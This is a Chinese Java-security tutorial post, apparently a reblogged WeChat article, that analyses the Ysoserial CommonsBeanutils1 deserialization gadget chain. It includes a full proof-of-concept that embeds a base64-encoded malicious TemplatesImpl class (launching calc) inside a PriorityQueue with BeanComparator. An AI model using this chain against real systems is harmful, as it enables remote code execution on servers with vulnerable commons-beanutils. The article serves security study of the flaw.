JAVA安全|Gadget篇:Ysoserial CB1链

admin 2023年2月16日08:52:51评论135 views字数 7803阅读26分0秒阅读模式
0x00  前言
    JAVA安全系列文章主要为了回顾之前学过的java知识,构建自己的java知识体系,并实际地将java用起来,达到熟练掌握java编程,并能用java编写工具的目的。此系列文章需要读者具备一定java基础,不定时更新。相关详情可通过我的公众号文章进行查看:
JAVA安全|即将开启:java安全系列文章
    Gadget篇主要是分析一些经典常见的反序列化链,基本来自于Ysoserial工具。与网上大部分分析反序列化链文章的不同点在于我会尽可能地从如何发现链子的角度来讲解,参考的资料主要为B站白日梦组长的视频以及P牛的JAVA安全漫谈系列文章

    本文为JAVA安全系列文章第十九篇,学习Ysoserial中的CB1链,重点在于认识javaBean并理解掌握CB1链的调用逻辑。

0x01  Apache Commons Beanutils

一、什么是javaBean?

我们在刚开始学JAVA SE基础时候,每当我们写一个类时,属性一般是private,通过public的getXXX方法(getter)来获取属性的值(读方法),setXXX方法(setter)为属性赋值(写方法),这样的类就称为Bean。

官方定义是:必须具有无参数的构造器,所有的属性都是private的,通过提供setter和getter方法来实现对成员属性的访问。

详细的可以参考这篇文章:https://www.liaoxuefeng.com/wiki/1252599548343744/1260474416351680

二、 Commons Beanutils

Apache  Commons Beanutils是 Apache Commons 工具集下的另一个项目,是一个用于操作JAVA bean的工具包。里面提供了各种各样的工具类,让我们可以很方便的对bean对象的属性进行各种操作。

通过Maven仓库我们知道,Commons Beanutils除了1.9.4版本外,其他版本均为漏洞版本:

JAVA安全|Gadget篇:Ysoserial CB1链

关于commons-beanutils的使用主要是熟悉commons-beanutils库里面MethodUtils、ConstructorUtils、PropertyUtils、BeanUtils、ConvertUtils的使用。

具体使用可以参考这篇文章:https://www.jianshu.com/p/27c0ea663d83

0x02  Ysoserial CB1链

一、环境准备

看Ysoserial的源码,可以知道CB1链用到的依赖是commons-beanutils=1.9.2,我们新建一个Maven项目,将其导入。导入完成后,我们可以看到除了commons-beanutils包外还有commons-collections 3.2.1和commons-logging 1.1.1两个包,也即commons-beanutils本身是依赖于这两个包的:

JAVA安全|Gadget篇:Ysoserial CB1链

二、调用逻辑分析
1.PropertyUtils.getProperty()

commons-beanutils中的PropertyUtils类提供了一个静态方法getProperty ,让使用者可以直接调用任意JavaBean的getter方法。比如,我们写一个Person类:

JAVA安全|Gadget篇:Ysoserial CB1链

再写一个测试类BeanTest,运行:

JAVA安全|Gadget篇:Ysoserial CB1链

可以看到,准确输出了name和age。这是怎么做到的呢?

通过调试发现,该方法的调用过程是这样的:PropertyUtils#getProperty()-->PropertyUtilsBean#getProperty()-->PropertyUtilsBean#getNestedProperty()-->PropertyUtilsBean#getSimpleProperty()

其中,在PropertyUtilsBean#getNestedProperty()中:

JAVA安全|Gadget篇:Ysoserial CB1链

会先通过while循环获取嵌套属性,比如a对象中有属性b,b对象中有属性c,就可以通过 PropertyUtils.getProperty(a, "b.c") 的方式进行递归获取。由于此处我们我们传入的属性不是嵌套的,且为自己写的Person,故而进入到getSimpleProperty():

JAVA安全|Gadget篇:Ysoserial CB1链

由于此处bean不为DynaBean,故而通过getPropertyDescriptor()方法获取属性描述:

JAVA安全|Gadget篇:Ysoserial CB1链

此处获取到age的读写方法名,最后获取到读方法(getter)的方法对象,通过反射调用并返回值:

JAVA安全|Gadget篇:Ysoserial CB1链

简而言之,PropertyUtils.getProperty()这个方法就是通过反射调用任意对象的getter,获得对应属性的值,此处的属性可以是嵌套的。

那么,此处调用任意对象的getter方法,会有什么危害么?

2.getter妙用

前面在学习动态字节码加载时,我们提到过Templates加载任意字节码的调用链:

TemplatesImpl.TransletClassLoader#defineClass()<--TemplatesImpl#defineTransletClasses()<--TemplatesImpl#getTransletInstance()<--TemplatesImpl#newTransformer()<--TemplatesImpl.getOutputProperties()

此处的getOutputProperties()不正符合getter的定义么?

JAVA安全|Gadget篇:Ysoserial CB1链

如果我们在PropertyUtils#getProperty(Object bean,String name)方法中传入bean为TemplatesImpl对象,name为outputProperties,这不就可以构成一条Gadget 的后半段了么?那么我们就要去找,谁可以调用到PropertyUtils#getProperty():

JAVA安全|Gadget篇:Ysoserial CB1链

仅找到commons-beanutils包中的四个类,其中仅BeanComparator实现了Serializable接口!!!

3.BeanComparator

我们来看下这个类:

JAVA安全|Gadget篇:Ysoserial CB1链

它实现了java.util.Comparator接口,用来比较两个javaBean是否相等。它的compare()方法传入两个对象,若property 为空,则直接比较这两个对象;若property 不为空,则通过PropertyUtils.getProperty()分别获取这两个对象的property 属性,比较属性的值。

很明显我们只要传入o1,o2为我们构造的TemplatesImpl对象,property为"outputProperties"就能触发代码了。

4.反序列化入口?

还记得在CC2和CC4链的反序列化入口PriorityQueue(优先队列)么?

它是基于二叉堆实现,在它反序列化时,为了保证队列顺序,会进行重排序的操作,而排序就涉及到大小比较,进而执行 java.util.Comparator 接口的 compare() 方法。那么我们只要构造一个BeanComparator传进去,就可以触发代码,弹计算器了。

三、POC编写

首先,我们还是先构造一个恶意TemplatesImpl对象,再创建一个BeanComparator对象,创建时使用无参构造器,防止后面PriorityQueue在add时触发PropertyUtils.getProperty():

BeanComparator comparator = new BeanComparator();

实例化PriorityQueue,将刚才创建的BeanComparator对象传入进去,先add两个人畜无害的对象:

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

再通过反射修改comparator中的property为"outputProperties",queue中的两个对象为构造的TemplatesImpl对象:

setFieldValue(comparator,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{templates,templates});

完整代码如下:

public class CB1 {
   public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
       byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWAQANU3RhY2tNYXBUYWJsZQcAIAcAHQEAClNvdXJjZUZpbGUBAApDYWxjMS5qYXZhDAARABIHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEQAoAQAFQ2FsYzEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAwABAAoACwACAAwAAAAZAAAAAwAAAAGxAAAAAQANAAAABgABAAAACAAOAAAABAABAA8AAQAKABAAAgAMAAAAGQAAAAQAAAABsQAAAAEADQAAAAYAAQAAAAoADgAAAAQAAQAPAAEAEQASAAEADAAAAGUAAwACAAAAGyq3AAG4AAISA7YABFenAA1MuwAGWSu3AAe/sQABAAQADQAQAAUAAgANAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAGgASABMAAAAQAAL/ABAAAQcAFAABBwAVCQABABYAAAACABc=");
       TemplatesImpl templates = new TemplatesImpl();
       setFieldValue(templates, "_name", "xxx");
       setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
       setFieldValue(templates, "_bytecodes", new byte[][]{code});

       //先传入property为空,防止add时触发PropertyUtils.getProperty()
       BeanComparator comparator = new BeanComparator();

       PriorityQueue queue = new PriorityQueue(2, comparator);
       queue.add(1);
       queue.add(2);

       setFieldValue(comparator,"property","outputProperties");
       setFieldValue(queue,"queue",new Object[]{templates,templates});

       ByteArrayOutputStream bos = new ByteArrayOutputStream();
       ObjectOutputStream oos = new ObjectOutputStream(bos);
       oos.writeObject(queue);
       oos.close();

       ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
       ois.readObject();
  }

   public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
       Class<?> clazz = obj.getClass();
       Field fieldName = clazz.getDeclaredField(field);
       fieldName.setAccessible(true);
       fieldName.set(obj, value);
  }
}

相比于ysoserial里的CommonsBeanutils1链:

JAVA安全|Gadget篇:Ysoserial CB1链

这里去掉了对 java.math.BigInteger的使用,因为ysoserial为了兼容 property=lowestSetBit :

public class BigInteger extends Number implements Comparable<BigInteger> {  
private int lowestSetBit;

public int getLowestSetBit() {
       @SuppressWarnings("deprecation")
       int lsb = lowestSetBit - 2;
      ...
       return lsb;
}
}

但实际上我们将 property 设置为null即可。

0x03  总结

一、CB1链调用逻辑

1.PriorityQueue(优先队列)基于二叉堆实现,在它反序列化时,为了保证队列顺序,会执行 java.util.Comparator 接口的 compare() 方法进行重排序,此时我们传入Comparator为org.apache.commons.beanutils.BeanComparator.BeanComparator;

2.BeanComparator是一个比较两个javaBean对象的Comparator,它的compare()方法中若property 不为空,则通过org.apache.commons.beanutils.PropertyUtils.getProperty()分别获取两个对象的property 属性,再比较属性的值;

3.PropertyUtils.getProperty()就是通过反射调用任意对象的getter,而当这个对象为一个包含恶意字节码的TemplatesImpl对象,且调用的getter方法为getOutputProperties()时,就会触发代码执行。

二、关于PropertyUtils

细心的读者会发现PropertyUtils这个关键的类是不可序列化,但为什么不影响反序列化执行代码呢?因为序列化针对的是对象,而CB1链中我们并不需要一个PropertyUtils对象来触发呀,只是调用其静态方法getProperty(),我们要做的只是构造好优先队列中的Comparator(BeanComparator)以及进行比较的两个恶意TemplatesImpl对象即可。


Ysoserial中的CB链仅有CB1这一条,但我们通常会在Shiro的利用工具中,看到好几条CB链,其他CB链又是怎么回事呢?

欲知后事如何,且听下回分解~


参考:

p神《JAVA安全漫谈》


Java安全系列文集

第0篇:JAVA安全|即将开启:java安全系列文章

第1篇:JAVA安全|基础篇:认识java反序列化

第2篇:JAVA安全|基础篇:实战java原生反序列化

第3篇:JAVA安全|基础篇:反射机制之快速入门

第4篇:JAVA安全|基础篇:反射机制之Class类

第5篇:JAVA安全|基础篇:反射机制之类加载

第6篇:JAVA安全|基础篇:反射机制之常见ReflectionAPI使用

第7篇:JAVA安全|Gadget篇:URLDNS链

第8篇:JAVA安全|Gadget篇:TransformedMap CC1链

第9篇:JAVA安全|基础篇:反射的应用—动态代理

第10篇:JAVA安全|Gadget篇:LazyMap CC1链

第11篇:JAVA安全|Gadget篇:无JDK版本限制的CC6链

第12篇:JAVA安全|基础篇:动态字节码加载(一)

第13篇:JAVA安全|基础篇:动态字节码加载(二)

第14篇:JAVA安全|Gadget篇:CC3链及其通杀改造

第15篇:JAVA安全|Gadget篇:CC依赖下为shiro反序列化利用而生的CCK1 CC11链

第16篇:JAVA安全|Gadget篇:CC5 CC7链

第17篇:JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

第18篇:JAVA安全|Gadget篇:CC8 CC9链


如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~

原文始发于微信公众号(沃克学安全):JAVA安全|Gadget篇:Ysoserial CB1链

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月16日08:52:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA安全|Gadget篇:Ysoserial CB1链http://cn-sec.com/archives/1554392.html

发表评论

匿名网友 填写信息